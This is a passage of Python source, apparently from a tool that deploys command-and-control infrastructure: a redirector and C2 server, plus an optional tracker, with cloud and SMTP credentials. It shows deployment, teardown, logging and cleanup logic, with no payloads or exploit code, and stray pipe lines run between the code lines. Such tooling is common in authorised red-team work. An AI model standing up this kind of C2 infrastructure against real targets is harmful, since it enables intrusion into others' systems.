if key not in ['aws_secret_key', 'linode_token', 'smtp_auth_pass', 'tracker_ipinfo_token']:
|
|
if isinstance(value, (dict, list)):
|
|
logging.info(f" {key}: <complex data>")
|
|
else:
|
|
logging.info(f" {key}: {value}")
|
|
|
|
# Check if this is a teardown operation
|
|
if args.teardown:
|
|
teardown_infrastructure(config)
|
|
return
|
|
|
|
# Check if this is a test operation
|
|
if args.run_tests:
|
|
run_tests(config)
|
|
return
|
|
|
|
# Run deployment
|
|
try:
|
|
# Deploy the standard infrastructure first (redirector + C2)
|
|
if not config.get('deploy_tracker') or config.get('integrated_tracker'):
|
|
success = deploy_infrastructure(config)
|
|
if not success:
|
|
logging.error("Deployment failed!")
|
|
deployment_info_log = generate_deployment_info(config, success=False)
|
|
print(f"\nDeployment information saved to: {deployment_info_log}")
|
|
cleanup_resources(config, interactive=True)
|
|
return
|
|
logging.info("Deployment completed successfully!")
|
|
deployment_info_log = generate_deployment_info(config, success=True)
|
|
print(f"\nDeployment information saved to: {deployment_info_log}")
|
|
|
|
# SSH into instance if requested
|
|
if config.get('ssh_after_deploy'):
|
|
ssh_to_instance(config)
|
|
|
|
# Deploy standalone tracker if requested and not integrated
|
|
elif config.get('deploy_tracker') and not config.get('integrated_tracker'):
|
|
success = deploy_tracker(config)
|
|
if not success:
|
|
logging.error("Tracker deployment failed!")
|
|
deployment_info_log = generate_deployment_info(config, success=False)
|
|
print(f"\nDeployment information saved to: {deployment_info_log}")
|
|
cleanup_resources(config, interactive=True)
|
|
return
|
|
logging.info("Tracker deployment completed successfully!")
|
|
deployment_info_log = generate_deployment_info(config, success=True)
|
|
print(f"\nDeployment information saved to: {deployment_info_log}")
|
|
|
|
# SSH into tracker if requested
|
|
if config.get('ssh_after_deploy'):
|
|
ssh_to_instance(config)
|
|
|
|
except KeyboardInterrupt:
|
|
print("\n\nDeployment interrupted by user")
|
|
logging.info("Deployment interrupted by user")
|
|
deployment_info_log = generate_deployment_info(config, success=False)
|
|
print(f"\nDeployment information saved to: {deployment_info_log}")
|
|
try:
|
|
cleanup_resources(config, interactive=True)
|
|
except KeyboardInterrupt:
|
|
print("\nCleanup interrupted. Resources may still exist.")
|
|
logging.warning("Cleanup interrupted by user. Resources may still exist.")
|
|
except Exception as e:
|
|
logging.error(f"Deployment failed with error: {e}")
|
|
deployment_info_log = generate_deployment_info(config, success=False)
|
|
print(f"\nDeployment information saved to: {deployment_info_log}")
|
|
if config.get('debug'):
|
|
import traceback
|
|
traceback.print_exc()
|
|
logging.debug(traceback.format_exc())
|
|
try:
|
|
cleanup_resources(config, interactive=True)
|
|
except KeyboardInterrupt:
|
|
print("\nCleanup interrupted. Resources may still exist.")
|
|
logging.warning("Cleanup interrupted by user. Resources may still exist.")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |